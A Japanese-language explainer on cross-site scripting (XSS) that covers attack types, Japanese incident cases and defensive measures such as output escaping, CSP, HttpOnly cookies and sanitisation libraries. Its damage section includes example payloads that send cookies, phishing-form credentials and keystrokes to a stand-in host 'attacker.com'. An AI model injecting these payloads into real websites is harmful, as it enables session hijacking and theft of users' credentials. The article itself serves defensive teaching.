MENU
掲載について
イベントに参加する

  1. ホーム
  2. 集客・マーケティング
  3. クロスサイトスクリプティング（XSS）とは｜攻撃の仕組みから実践的な対策まで徹底解説

クロスサイトスクリプティング（XSS）とは｜攻撃の仕組みから実践的な対策まで徹底解説

集客・マーケティング

Webサイトやアプリケーションの脆弱性を狙うサイバー攻撃の中で、20年以上前から存在しながら今なお最も多く報告されているのがクロスサイトスクリプティング（XSS）です。

情報処理推進機構（IPA）が公開する2024年第3四半期の報告によると、登録された脆弱性3,238件のうちXSSが1,160件と最多を記録しており、全体の約36%を占めています。

古典的な攻撃手法でありながら、なぜこれほど多くのWebサイトが被害に遭い続けているのでしょうか。その背景には、開発現場での実装の複雑さ、フレームワークの不適切な使用、そしてセキュリティ意識の不足があります。本記事では、XSS攻撃の本質的な仕組みを理解し、開発者が実際に直面する課題と実践的な対策方法について解説します。

クロスサイトスクリプティング（XSS）とは

クロスサイトスクリプティング（Cross-Site Scripting、略称XSS）とは、Webアプリケーションの脆弱性を悪用し、悪意のあるスクリプトコードをWebページに注入する攻撃手法を指します。

「CSS」と略すとカスケーディングスタイルシート（Cascading Style Sheets）と混同されるため、「XSS」という表記が一般的に使われています。

攻撃の本質は、ユーザーからの入力データを適切にエスケープ処理せずにHTMLとして出力してしまう実装上の欠陥にあります。攻撃者はこの欠陥を利用し、正規のWebサイトに悪意のあるJavaScriptを埋め込みます。

そのWebサイトを訪れたユーザーのブラウザ上でスクリプトが実行され、個人情報の窃取やアカウントの乗っ取りなどの被害が発生する仕組みです。

XSSが「クロスサイト」と呼ばれる理由

初期のXSS攻撃では、攻撃者が用意した悪意のあるサイト（サイトA）から、脆弱性のある正規サイト（サイトB）を経由して、ユーザーを別の攻撃サイト（サイトC）へ誘導するという、複数のサイトを「横断（クロス）」する攻撃パターンが主流でした。このため「クロスサイト」という名称が付けられています。

現在では攻撃手法が多様化し、必ずしもサイトを横断しない攻撃も「XSS」と呼ばれていますが、歴史的な経緯からこの名称が定着しています。

なぜXSSは減らないのか

IPAの届出状況統計を見ると、Webサイトの脆弱性届出の累計57%以上がXSSという驚くべき数字が出ています。20年以上も前から知られている脆弱性であるにもかかわらず、なぜこれほどまでに被害が続いているのでしょうか。

理由は大きく3つあります。第一に、Webアプリケーションの動的生成ページが増加し、ユーザー入力を扱う箇所が爆発的に増えたこと。第二に、モダンなJavaScriptフレームワークの普及により、開発者がDOM操作の複雑さを十分に理解しないまま実装するケースが増えたこと。第三に、セキュリティテストの不足です。多くのプロジェクトでは機能テストに注力し、セキュリティテストが後回しにされがちです。

XSS攻撃の仕組みと流れ

XSS攻撃がどのように実行されるのか、具体的なプロセスを見ていきましょう。

1. 脆弱性の発見

攻撃者はまず、標的となるWebサイトやWebアプリケーションに脆弱性が存在するかを探索します。具体的には、以下のような機能を持つページが狙われやすくなります。


  • 検索フォーム（検索結果ページに入力値が表示される）



  • コメント機能や掲示板（投稿内容が他のユーザーに表示される）



  • ユーザー登録フォーム（確認画面で入力内容が表示される）



  • エラーメッセージ（URLパラメータがエラー画面に表示される）



  • プロフィール設定（自己紹介文などのユーザー生成コンテンツ）


攻撃者は、これらの入力フォームに<script>alert(‘XSS’)</script>のような簡単なテストコードを入力し、実際にJavaScriptが実行されるかを確認します。

2. 悪意のあるスクリプトの注入

脆弱性が確認できると、攻撃者は本格的な攻撃コードを注入します。例えば、Cookie情報を外部サーバーに送信するスクリプトや、偽のログインフォームを表示させるコードなどが使われます。

攻撃コードの例（実際には難読化されます）:

<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

3. 正規ユーザーの被害

悪意のあるスクリプトが埋め込まれたページを正規のユーザーが閲覧すると、そのユーザーのブラウザ上でスクリプトが実行されます。ブラウザからは正規のWebサイトのコンテンツとして認識されるため、同一オリジンポリシーの制限を受けずにCookieやセッション情報にアクセスできてしまいます。

ここがXSS攻撃の最も危険な点です。攻撃者が直接ユーザーを攻撃するのではなく、信頼されている正規のWebサイトを踏み台として利用することで、ブラウザのセキュリティ機構を回避できてしまうのです。

XSS攻撃の3つのタイプ

XSS攻撃は、スクリプトの実行タイミングや保存場所によって大きく3つのタイプに分類されます。それぞれ攻撃手法と対策のポイントが異なるため、開発者はすべてのタイプを理解しておく必要があります。

反射型XSS（Reflected XSS）

反射型XSSは、ユーザーのリクエストに含まれる悪意のあるスクリプトが、即座にレスポンスに「反射」されて実行されるタイプの攻撃です。非持続型XSSとも呼ばれます。

攻撃の流れ


  1. 攻撃者が悪意のあるスクリプトを含むURLを作成



  2. フィッシングメールやSNSでそのURLを拡散



  3. ユーザーがURLをクリック



  4. Webサーバーがリクエストパラメータをそのままレスポンスに含めて返す



  5. ユーザーのブラウザでスクリプトが実行される


具体例

検索機能を持つWebサイトで、検索キーワードを結果ページに表示する場合を考えてみましょう。

<!-- 脆弱なコード例 -->
<p>「<?php echo $_GET['keyword']; ?>」の検索結果</p>

この実装では、URLに?keyword=<script>alert(‘XSS’)</script>というパラメータを含めると、そのままHTMLとして出力されてスクリプトが実行されてしまいます。

開発現場での見落としがちなポイント

反射型XSSで最も見落とされがちなのは、エラーメッセージやリダイレクト先のURL表示です。「エラーページだから攻撃されない」「URLを表示するだけだから安全」という思い込みが危険です。404エラーページにリクエストURLをそのまま表示している実装は、格好の攻撃対象となります。

格納型XSS（Stored XSS / Persistent XSS）

格納型XSSは、悪意のあるスクリプトがデータベースなどに保存され、そのデータを表示するたびに攻撃が発生するタイプです。持続型XSSとも呼ばれ、最も被害が大きくなりやすい攻撃タイプです。

攻撃の流れ


  1. 攻撃者が掲示板やコメント欄に悪意のあるスクリプトを投稿



  2. スクリプトがデータベースに保存される



  3. 他のユーザーがそのページを閲覧



  4. データベースから読み出されたスクリプトが実行される



  5. 閲覧した全ユーザーが被害を受ける


なぜ格納型XSSは危険なのか

格納型XSSの恐ろしさは、一度の攻撃で不特定多数のユーザーに継続的な被害を与え続ける点にあります。反射型XSSでは個別のユーザーを標的にした攻撃URLが必要ですが、格納型XSSでは正規のURLにアクセスしただけで被害に遭います。

さらに、管理者も攻撃の標的になります。攻撃者が管理画面のコメント一覧などに悪意のあるスクリプトを仕込んでおけば、管理者が確認のためにアクセスした瞬間に管理者権限が奪われる可能性があります。

実際の開発現場での課題

格納型XSSの対策で開発者が直面する最大の課題は、どこまでHTMLタグを許可するかという判断です。

ブログサービスやSNSでは、ユーザーが太字や改行などの簡単な装飾を使いたいというニーズがあります。単純にすべてのHTMLタグをエスケープすると、<b>太字</b>と入力したテキストがそのまま&lt;b&gt;太字&lt;/b&gt;と表示されてしまい、ユーザビリティが著しく低下します。

かといって、特定のタグだけを許可するホワイトリスト方式を採用すると、実装が複雑になり、新たな脆弱性を生む可能性があります。この問題に対する本質的な解決策は後述します。

DOMベースXSS（DOM Based XSS）

DOMベースXSSは、JavaScriptによるDOM操作の脆弱性を突いた攻撃で、サーバー側の処理を一切経由せずクライアント側だけで完結するタイプです。

攻撃の特徴

従来のXSSがサーバー側のレスポンスに悪意のあるスクリプトが含まれるのに対し、DOMベースXSSではサーバーから送られるHTMLには問題がありません。問題が発生するのは、ブラウザ上でJavaScriptがDOMを操作する際です。

具体例

// 脆弱なコード例
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');
document.getElementById('greeting').innerHTML = 'こんにちは、' + name + 'さん';

このコードでは、URLパラメータnameの値を直接innerHTMLで挿入しているため、?name=<img src=x onerror=alert(‘XSS’)>のようなパラメータでXSS攻撃が成立してしまいます。

モダンフレームワーク時代の落とし穴

React、Vue、Angularなどのモダンフレームワークは、デフォルトで自動エスケープ機能を持っており、基本的にはXSSに強い設計になっています。しかし、開発者が意図的にその保護機構を無効化できることが問題です。

例えば、ReactのdangerouslySetInnerHTML、Vueのv-htmlディレクティブなどは、その名前が示す通り危険な機能です。にもかかわらず、「HTMLタグを含むコンテンツを表示したい」という要件に対して、安易にこれらの機能を使ってしまう開発者が少なくありません。

実際の開発現場では、「このデータは管理画面から入力されたものだから安全」「ユーザーが入力したデータではないから大丈夫」という思い込みが危険です。データの出所ではなく、信頼できない入力として扱うべきかどうかで判断すべきなのです。

XSS攻撃による被害と影響

XSS攻撃が成功すると、どのような被害が発生するのでしょうか。技術的な影響だけでなく、ビジネスへのインパクトも含めて解説します。

Cookie情報の窃取とセッションハイジャック

最も一般的な被害が、セッションIDを含むCookie情報の窃取です。攻撃者は以下のようなスクリプトでCookie情報を外部サーバーに送信させます。

<script>
new Image().src = 'http://attacker.com/steal.php?c=' + encodeURIComponent(document.cookie);
</script>

窃取されたセッションIDを使えば、攻撃者は被害者になりすましてログインできます。これをセッションハイジャックと呼びます。ECサイトであれば不正購入、SNSであればなりすまし投稿、ネットバンキングであれば不正送金といった深刻な被害につながります。

フィッシング詐欺の踏み台

XSSを利用すると、信頼されている正規サイト上に偽のログインフォームを表示できます。

<script>
document.body.innerHTML = `
  <div style="text-align:center;margin-top:100px;">
    <h2>セッションが切れました。再度ログインしてください。</h2>
    <form action="http://attacker.com/phishing.php" method="POST">
      <input name="user" placeholder="ユーザー名"><br>
      <input name="pass" type="password" placeholder="パスワード"><br>
      <button type="submit">ログイン</button>
    </form>
  </div>
`;
</script>

ユーザーは正規のURLにアクセスしているため、表示されたフォームも正規のものだと信じてしまいます。ブラウザのアドレスバーには正規のドメインが表示されているため、通常のフィッシング詐欺よりもはるかに騙されやすいのです。

Webサイトの改ざん

XSSを使えば、Webページの内容を自由に書き換えられます。企業サイトに不適切な画像や文章を表示させることで、企業の信用を著しく損なう攻撃が可能です。

2024年に報告された事例では、あるECサイトでXSS脆弱性を突かれ、商品ページに虚偽の割引情報が表示される被害が発生しました。顧客からの問い合わせが殺到し、サイトを一時閉鎖せざるを得なくなったケースもあります。

キーロガーの実装

JavaScriptでキーストロークを記録し、外部サーバーに送信するキーロガーを実装することも可能です。

<script>
document.addEventListener('keypress', function(e) {
  new Image().src = 'http://attacker.com/log.php?key=' + e.key;
});
</script>

ユーザーがWebサイト上で入力したすべての情報（クレジットカード番号、パスワード、個人情報など）が攻撃者に筒抜けになります。

マルウェア配布の踏み台

XSSを利用して、ユーザーのブラウザに悪意のあるファイルを自動ダウンロードさせることも可能です。特にドライブバイダウンロード攻撃と組み合わせると、ユーザーが気づかないうちにマルウェアに感染させられます。

ビジネスへの深刻な影響

技術的な被害に加えて、XSS攻撃はビジネスに以下のような深刻な影響を及ぼします。

信用の失墜：顧客情報が漏洩すれば、企業の信頼は地に落ちます。特にセキュリティを重視する金融機関や医療機関では、一度の事故が致命的です。

法的責任：個人情報保護法違反、PCI DSS違反などにより、法的責任を問われる可能性があります。2024年に発生したある通信販売会社のXSS被害では、個人情報保護委員会への報告が必要となり、訴訟リスクも抱えることになりました。

経済的損失：サイトの一時閉鎖による機会損失、セキュリティ対策の緊急実施コスト、被害者への補償、株価の下落など、経済的損失は計り知れません。

実際の被害事例

XSS攻撃による実際の被害事例を見ることで、その深刻さを具体的に理解できます。

大手アパレル企業のアプリ脆弱性（2020年）

2020年9月ユニクロのAndroidアプリに反射型XSSの脆弱性が発見されました。特定のリクエストを操作することで、ユーザーを危険なWebサイトへリダイレクトさせる攻撃が可能な状態でした。

幸いなことに、ユニクロは迅速に対応し、2020年9月7日には修正版のアプリをリリース。実際の被害は報告されませんでした。しかし、この事例は大企業であってもXSS脆弱性から完全に自由ではないことを示しています。

農業資材ECサイトの情報流出（2021年）

2021年4月から8月にかけて、グラントマト株式会社が運営する「グラントマトオンラインショップ」でXSS脆弱性を突いた攻撃が発生しました。

ECサイト構築サービス「オムニEC」のXSS脆弱性を悪用され、不正ファイルが設置されるとともにペイメントアプリケーションが改ざんされました。その結果、クレジットカード決済を利用した349名の顧客情報（カード番号、有効期限、セキュリティコードを含む）が流出した可能性があるとされています。

この事例が示すのは、サードパーティのサービスやライブラリの脆弱性にも注意が必要だということです。自社で開発したコードに問題がなくても、利用しているサービスに脆弱性があれば被害を受けます。

漁業協同組合のECサイト閉鎖（2024年）

全国漁業協同組合連合会が運営していたECサイトでも、XSS脆弱性を突いた攻撃により顧客のクレジットカード情報が流出する被害が発生しました。

この事例では被害の深刻さから、2024年10月にECサイトの閉店を決定するに至りました。セキュリティインシデントが事業継続そのものを困難にした、極めて深刻なケースです。

通信販売会社の個人情報漏洩

骨盤ケア用品やマタニティケア用品を扱う通信販売会社のECサイトで、XSS攻撃により507件の顧客情報が流出する事件が発生しました。

サーバー上に管理対象外の不審なファイルが発見され、調査の結果、XSS攻撃に用いられる記述のファイルであることが判明。システムに内在していた脆弱性を突かれ、ペイメントアプリケーションの改ざんが行われていました。

同社は当日のうちにECサイトを停止し、第三者調査機関による調査を開始。カード会社と連携した不正利用監視のモニタリングを実施するなど、事後対応に追われました。

事例から学ぶべき教訓

これらの事例から得られる重要な教訓は以下の通りです。


  1. 企業規模に関わらず脆弱性は存在する：大企業でも中小企業でも、XSSのリスクに違いはありません。



  2. サードパーティの脆弱性も自社のリスク：利用しているライブラリやサービスの脆弱性管理も必須です。



  3. 早期発見と迅速な対応が被害を最小化する：ユニクロの事例のように、迅速な対応で実被害を防げるケースもあります。



  4. 一度の事故が事業継続を困難にする：信用失墜による経済的損失は計り知れません。


XSS対策の実践

ここからは、実際の開発現場で使える具体的なXSS対策を解説します。理論だけでなく、実装レベルでの注意点や落とし穴にも触れていきます。

根本的対策1：出力時のエスケープ処理

XSS対策の基本中の基本は、ユーザー入力をHTML出力する際のエスケープ処理です。しかし、「エスケープすればよい」という単純な理解では不十分です。

コンテキストに応じた適切なエスケープ

HTMLには複数のコンテキストがあり、それぞれで必要なエスケープ処理が異なります。

HTMLコンテンツとしての出力

<!-- 正しい例 -->
<p><?php echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); ?></p>

最低限、以下の文字をエスケープする必要があります。


  • < → &lt;



  • > → &gt;



  • ” → &quot;



  • ‘ → &#x27;



  • & → &amp;


HTML属性値としての出力

<!-- 正しい例：必ずダブルクォートで囲む -->
<input type="text" value="<?php echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); ?>">

<!-- 危険な例：クォートなしは脆弱 -->
<input type="text" value=<?php echo htmlspecialchars($userInput); ?>>

属性値をクォートで囲まない場合、スペースだけでタグを閉じられてしまいます。必ずダブルクォートで囲むことが重要です。

JavaScript内での出力

// 危険な例
<script>
var userName = "<?php echo htmlspecialchars($userInput); ?>";
</script>

// より安全な例
<script>
var userName = <?php echo json_encode($userInput, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;
</script>

JavaScript内で変数に値を埋め込む場合、HTMLエスケープだけでは不十分です。json_encode()を使い、さらにフラグで特殊文字を追加エスケープします。

URLとしての出力

<!-- 正しい例 -->
<a href="<?php echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8'); ?>">リンク</a>

<!-- しかし、これでも危険なケースがある -->
<a href="<?php echo htmlspecialchars($maliciousInput); ?>">リンク</a>
<!-- $maliciousInput = "javascript:alert('XSS')" の場合 -->

URLの場合、エスケープだけではjavascript:スキームなどを防げません。URLスキームのホワイトリスト検証が必要です。

// より安全な実装
function isSafeUrl($url) {
    $scheme = parse_url($url, PHP_URL_SCHEME);
    return in_array($scheme, ['http', 'https'], true);
}

if (isSafeUrl($userInput)) {
    echo '<a href="' . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . '">リンク</a>';
}

開発現場でよくある失敗パターン

失敗パターン1：部分的なエスケープ

// 間違い：一部だけエスケープ
echo '<div class="user-comment">';
echo htmlspecialchars($comment);
echo '</div>';

// 正しい：全体を通してエスケープ
echo '<div class="user-comment">' . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . '</div>';

失敗パターン2：二重エスケープ

// 間違い：フレームワークが自動エスケープするのに手動でも実施
{{ htmlspecialchars($value) }} <!-- Laravelなどでは {{ }} が自動エスケープ -->

// 正しい：フレームワークの機能に任せる
{{ $value }}

失敗パターン3：エスケープのタイミングミス

// 間違い：入力時にエスケープ
$comment = htmlspecialchars($_POST['comment']);
// データベースに保存
save_to_db($comment);

// 正しい：出力時にエスケープ
$comment = $_POST['comment'];
save_to_db($comment); // 生データを保存
// 表示時
echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');

入力時にエスケープすると、データベースにエスケープ済みの文字列が保存されます。これでは、HTML以外の用途（JSONやメール本文など）で使う際に問題が生じます。エスケープは常に出力時に行うのが原則です。

根本的対策2：HTMLタグを含むコンテンツの安全な扱い

ブログやSNSなど、ユーザーにHTMLタグの使用を許可したい場合、単純なエスケープでは対応できません。

ホワイトリスト方式の実装

許可するHTMLタグと属性を明示的に定義し、それ以外をすべて除去するアプローチが安全です。

// HTML Purifierの使用例
require_once 'HTMLPurifier.auto.php';

$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,b,i,u,a[href],br');
$purifier = new HTMLPurifier($config);

$cleanHtml = $purifier->purify($userInput);

ただし、ホワイトリスト方式にも落とし穴があります。

落とし穴1：属性値のチェック漏れ

<!-- 危険：href属性の値をチェックしていない -->
<a href="javascript:alert('XSS')">クリック</a>

<a>タグを許可する場合、href属性の値が安全なURLかどうかもチェックが必要です。

落とし穴2：CSSインジェクション

<!-- 危険：style属性を許可している -->
<div style="background: url('javascript:alert(1)')">テキスト</div>

style属性を許可すると、CSSを通じたJavaScript実行が可能になるケースがあります。

Markdown方式の採用

技術的に最も安全なのは、HTMLを直接扱わせないことです。Markdownのような軽量マークアップ言語を採用し、サーバー側で安全なHTMLに変換する方式が推奨されます。

// クライアント側
ユーザー入力: **太字** と *斜体*

// サーバー側でMarkdownをHTMLに変換
変換後: <strong>太字</strong> と <em>斜体</em>

主要なMarkdownライブラリは、デフォルトでXSS対策が施されています。

根本的対策3：Content Security Policy（CSP）の導入

CSPは、ブラウザにどのリソースの読み込みを許可するかを指示するHTTPヘッダーです。XSSが成功しても、攻撃スクリプトの実行を防ぐ最後の砦として機能します。

基本的なCSPの設定

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';

この設定では、以下を指定しています。


  • default-src ‘self’：デフォルトで同一オリジンのリソースのみ許可



  • script-src ‘self’：JavaScriptは同一オリジンのファイルのみ実行可能



  • style-src ‘self’ ‘unsafe-inline’：CSSは同一オリジンのファイルとインラインスタイルを許可


インラインスクリプトの扱い

CSPの最大の課題は、インラインスクリプトが禁止されることです。

<!-- CSPで禁止される -->
<button onclick="doSomething()">クリック</button>

<script>
function doSomething() { /* ... */ }
</script>

これを許可するために’unsafe-inline’を設定すると、XSS攻撃で注入されたインラインスクリプトも実行可能になってしまいます。

解決策1：nonceの使用

Content-Security-Policy: script-src 'nonce-random123';

<script nonce="random123">
function doSomething() { /* ... */ }
</script>

サーバーがリクエストごとにランダムな文字列（nonce）を生成し、正規のスクリプトにのみその値を付与します。攻撃者はnonceの値を知り得ないため、注入したスクリプトは実行されません。

解決策2：外部ファイル化

<!-- インラインを避け、外部ファイルに分離 -->
<button id="myButton">クリック</button>
<script src="/js/app.js"></script>

// /js/app.js
document.getElementById('myButton').addEventListener('click', doSomething);

開発現場でのCSP導入の現実

理想的にはすべてのWebサイトでCSPを導入すべきですが、現実にはレガシーコードの大規模な書き換えが必要になるケースが多く、導入のハードルは高いのが実情です。

実践的なアプローチとしては、以下の段階的導入が推奨されます。


  1. Report-Onlyモードで導入：実際にブロックせず、違反を報告するのみ


Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

  1. 違反レポートを収集・分析：どのスクリプトが問題になるか把握



  2. 段階的に正規スクリプトを修正：インラインスクリプトの外部ファイル化など



  3. 本番環境で有効化：十分なテストの後、Enforceモードに切り替え


根本的対策4：フレームワークのセキュリティ機能を正しく使う

モダンなWebフレームワークは、適切に使えばXSSを大幅に防げます。しかし、間違った使い方をするとかえって危険です。

React/Vue/Angularでの注意点

これらのフレームワークは、デフォルトで自動エスケープを行います。

// React：安全
<div>{userInput}</div>

// React：危険！
<div dangerouslySetInnerHTML={{__html: userInput}} />

<!-- Vue：安全 -->
<div>{{ userInput }}</div>

<!-- Vue：危険！ -->
<div v-html="userInput"></div>

開発者が明示的にdangerouslySetInnerHTMLやv-htmlを使わない限り、XSSは防げます。問題は、「なぜ危険なのか理解せずに使ってしまう」ことです。

よくある誤解


  • 「管理画面から入力したデータだから安全」→ 管理者アカウントが乗っ取られる可能性を考慮していない



  • 「APIから取得したデータだから信頼できる」→ APIが改ざんされる可能性を考慮していない



  • 「Markdownをレンダリングしたい」→ Markdownライブラリ自体は安全でも、その出力をそのままdangerouslySetInnerHTMLに渡すのは危険


安全な実装パターン

import DOMPurify from 'dompurify';

function SafeHtmlComponent({ htmlContent }) {
  const cleanHtml = DOMPurify.sanitize(htmlContent);
  return <div dangerouslySetInnerHTML={{__html: cleanHtml}} />;
}

どうしてもHTMLをレンダリングする必要がある場合は、DOMPurifyのようなサニタイゼーションライブラリを併用します。

保険的対策：Cookie属性の適切な設定

根本的対策を実施していても、念のため被害を最小化する保険的対策も重要です。

HttpOnly属性

setcookie('sessionid', $sessionId, [
    'httponly' => true,  // JavaScriptからアクセス不可
    'secure' => true,    // HTTPS通信のみ
    'samesite' => 'Strict'  // CSRF対策
]);

HttpOnly属性を設定すると、JavaScriptからdocument.cookieでCookieにアクセスできなくなります。XSS攻撃でセッションIDを盗まれるリスクを大幅に軽減できます。

ただし、完全な対策ではありません。XSSで偽のフォームを表示させてフィッシングする攻撃や、ユーザーの操作を乗っ取る攻撃は依然として可能です。

Secure属性とSameSite属性

Secure属性により、HTTPS通信でのみCookieが送信されます。盗聴によるセッションハイジャックを防げます。

SameSite属性は主にCSRF対策ですが、XSSと組み合わさった攻撃の一部を防ぐ効果もあります。

保険的対策：WAF（Web Application Firewall）の導入

WAFは、Webアプリケーションへの通信を監視し、悪意のあるリクエストをブロックするセキュリティ製品です。

WAFの役割と限界

WAFは対症療法であり、根本的な脆弱性を解決するものではありません。あくまで、アプリケーション側の対策が完了するまでの時間稼ぎや、ゼロデイ攻撃への緊急対応として位置付けるべきです。

WAFが有効なケース


  • レガシーシステムで根本的な修正が困難



  • 緊急パッチ適用までの一時的な防御



  • 既知の攻撃パターンのブロック


WAFの限界


  • 誤検知（False Positive）により正規の通信がブロックされる



  • 回避技術により攻撃が素通りする可能性



  • パフォーマンスへの影響


WAF選定のポイント

クラウド型WAF（SaaS）とアプライアンス型があり、それぞれ特徴があります。

クラウド型WAF


  • メリット：導入が容易、運用負荷が低い、最新の脅威情報が自動更新



  • デメリット：通信がクラウド経由になる、カスタマイズ性が低い


アプライアンス型


  • メリット：カスタマイズ性が高い、オンプレミス完結



  • デメリット：運用負荷が高い、専門知識が必要


中小企業や開発リソースが限られている場合は、クラウド型WAFが現実的な選択肢です。

開発プロセスにおけるセキュリティの組み込み

技術的な対策と同等に重要なのが、開発プロセス全体にセキュリティを組み込むことです。

セキュアコーディング教育

多くの脆弱性は、開発者のセキュリティ知識不足から生まれます。定期的な教育が不可欠です。

効果的な教育方法


  • 座学だけでなく、実際に脆弱性を再現するハンズオン研修



  • コードレビュー時のセキュリティチェックリスト活用



  • OWASP Top 10などの最新脅威情報の共有


セキュリティテストの自動化

機能テストと同様に、セキュリティテストも自動化すべきです。

静的解析ツール（SAST）


  • コードをコンパイル前に解析し、脆弱性を検出



  • 開発初期段階で問題を発見できる



  • 例：SonarQube、Checkmarx、Veracode


動的解析ツール（DAST）


  • 実行中のアプリケーションに対して攻撃を仕掛け、脆弱性を検証



  • 実際の攻撃に近い形でテストできる



  • 例：OWASP ZAP、Burp Suite


継続的な脆弱性診断

定期的な第三者による脆弱性診断も重要です。

ペネトレーションテスト：実際の攻撃者の視点でシステムの安全性を検証 脆弱性診断：既知の脆弱性パターンに対する網羅的なチェック

特に、重要な機能追加やライブラリのバージョンアップ後には必ず診断を実施すべきです。

XSS対策における開発現場の実情と本質的な課題

ここまで技術的な対策を解説してきましたが、現実の開発現場では理想と現実のギャップがあります。セキュリティ専門家の視点から、本質的な課題について語ります。

「納期優先」のジレンマ

多くのプロジェクトでは、機能実装が最優先され、セキュリティは後回しにされがちです。

「機能は実装できたが、セキュリティテストの時間がない」 「脆弱性は見つかったが、修正すると納期に間に合わない」

こうした状況は珍しくありません。しかし、リリース後に脆弱性が発覚した場合のコストを考えれば、開発段階でのセキュリティ対策は決して「コスト」ではなく「投資」です。

実際、IBMの調査によれば、本番環境で発見された脆弱性の修正コストは、設計段階で発見した場合の約30倍にもなるとされています。

フレームワーク依存の危険性

「フレームワークが自動でエスケープしてくれるから安全」という過信も問題です。

確かにモダンフレームワークは優れたセキュリティ機能を持ちますが、それは正しく使った場合の話です。dangerouslySetInnerHTMLのような「脱出口」を安易に使えば、すべてが台無しになります。

さらに、フレームワークのアップデートに追従できていないプロジェクトも多く見られます。古いバージョンには既知の脆弱性が存在するにもかかわらず、「動いているから触らない」という判断が危険を招きます。

外部ライブラリの脆弱性管理

npm、Composer、PyPIなど、現代の開発では膨大な数の外部ライブラリを使用します。これらのライブラリに脆弱性が発見された場合、自社のアプリケーションも影響を受けます。

2021年のLog4Shell（Apache Log4jの脆弱性）では、世界中の無数のシステムが影響を受けました。普段意識していない「依存関係の依存関係」にまで脆弱性が潜んでいる可能性があります。

現実的な対策


  • Dependabot（GitHub）、Snyk、WhiteSourceなどの脆弱性管理ツールの導入



  • 定期的な依存関係の棚卸し



  • 使用していないライブラリの削除


テストでは見つけにくいDOMベースXSS

従来の脆弱性診断ツールは、サーバーからのレスポンスを検査します。しかし、DOMベースXSSはクライアント側のJavaScript処理で発生するため、通常のツールでは検出が困難です。

特にSPA（Single Page Application）では、サーバーからは静的なHTMLが返され、その後JavaScriptがDOMを書き換える構造になっています。この場合、実際にブラウザを動かして検証する必要があります。

効果的なアプローチ


  • ブラウザ自動化ツール（Selenium、Puppeteerなど）を使った動的解析



  • 手動によるコードレビューでのJavaScript解析



  • 開発者によるセキュリティ意識の向上


セキュリティとユーザビリティのバランス

「すべてのHTMLタグを禁止すれば安全」という極端な対策は、ユーザー体験を著しく損ねます。

例えば、技術系のQ&Aサイトでコードの投稿を許可したい場合、適切なHTMLタグやMarkdownのサポートが必要です。しかし、それを安全に実装するには高度な技術が求められます。

プロの視点から見た解決策


  1. Markdownの採用：可能な限りHTMLを直接扱わせない



  2. 段階的な権限付与：新規ユーザーには制限を厳しく、信頼できるユーザーには緩和



  3. サンドボックス環境：ユーザー生成コンテンツをiframeなどで隔離



  4. 事後検証システム：機械学習を用いた異常コンテンツの自動検出


完璧なセキュリティは存在しませんが、リスクを許容可能なレベルまで下げることは可能です。

セキュリティ人材の不足

最も根本的な課題は、セキュリティ専門知識を持つ開発者の不足です。

中小企業では専任のセキュリティ担当者を置く余裕がなく、開発者がセキュリティも兼任しているケースが多いでしょう。しかし、セキュリティは専門性の高い分野であり、片手間で対応できるものではありません。

現実的なアプローチ


  • 外部のセキュリティコンサルタントの活用



  • チーム内でセキュリティチャンピオンを育成



  • オンライン学習プラットフォーム（Coursera、Udemy、OWASP）の活用



  • カンファレンス参加やコミュニティ活動への投資


まとめ

クロスサイトスクリプティング（XSS）は、20年以上前から知られる脆弱性でありながら、2024年においても最も多く報告される脅威であり続けています。IPAの統計では、登録された脆弱性の約36%をXSSが占め、Web脆弱性全体では57%以上に達しています。

XSSが減らない根本的な理由は、技術的な問題だけでなく、開発プロセス、組織文化、教育体制など、多層的な課題が絡み合っているためです。

XSS対策の本質

本記事で解説した対策を改めて整理すると、以下の階層に分けられます。

技術的対策（必須）


  • コンテキストに応じた適切なエスケープ処理



  • フレームワークのセキュリティ機能の正しい活用



  • Content Security Policy（CSP）の導入



  • Cookie属性（HttpOnly、Secure、SameSite）の適切な設定


プロセス的対策（重要）


  • セキュアコーディング教育の実施



  • コードレビューでのセキュリティチェック



  • 静的解析ツール・動的解析ツールの活用



  • 定期的な脆弱性診断の実施


組織的対策（基盤）


  • セキュリティを重視する文化の醸成



  • 適切なリソース配分（時間・予算・人材）



  • セキュリティインシデント対応計画の策定



  • 継続的な改善サイクルの確立


完璧を求めず、継続的な改善を

セキュリティに「100%」は存在しません。重要なのは、現在のリスクレベルを認識し、継続的に改善していく姿勢です。

小規模なプロジェクトであれば、まずは以下から始めましょう。


  1. すべての出力箇所でエスケープ処理を実施する



  2. フレームワークの危険な機能（dangerouslySetInnerHTMLなど）を安易に使わない



  3. CookieにHttpOnly属性を設定する



  4. 外部ライブラリの脆弱性を定期的にチェックする


これらの基本的な対策だけでも、大部分のXSS攻撃を防ぐことができます。

最後に

XSS対策は「やるか、やらないか」の二択ではありません。どこまでリスクを許容し、どこまでコストをかけるかというバランスの問題です。

しかし、一度セキュリティインシデントが発生すれば、その影響は計り知れません。顧客の信頼喪失、経済的損失、法的責任──これらのコストは、事前の対策コストを遥かに上回ります。

本記事が、XSSのリスクを正しく理解し、適切な対策を講じるための一助となれば幸いです。セキュリティは一度実装して終わりではなく、継続的な取り組みが求められることを忘れないでください。

参考情報
• IPA：安全なウェブサイトの作り方 – クロスサイト・スクリプティング
• IPA：脆弱性対策情報データベースJVN iPediaの登録状況（2024年第3四半期）
• OWASP：XSS Prevention Cheat Sheet

集客・マーケティング
よかったらシェアしてね！
  • URLをコピーしました！
  • URLをコピーしました！

関連記事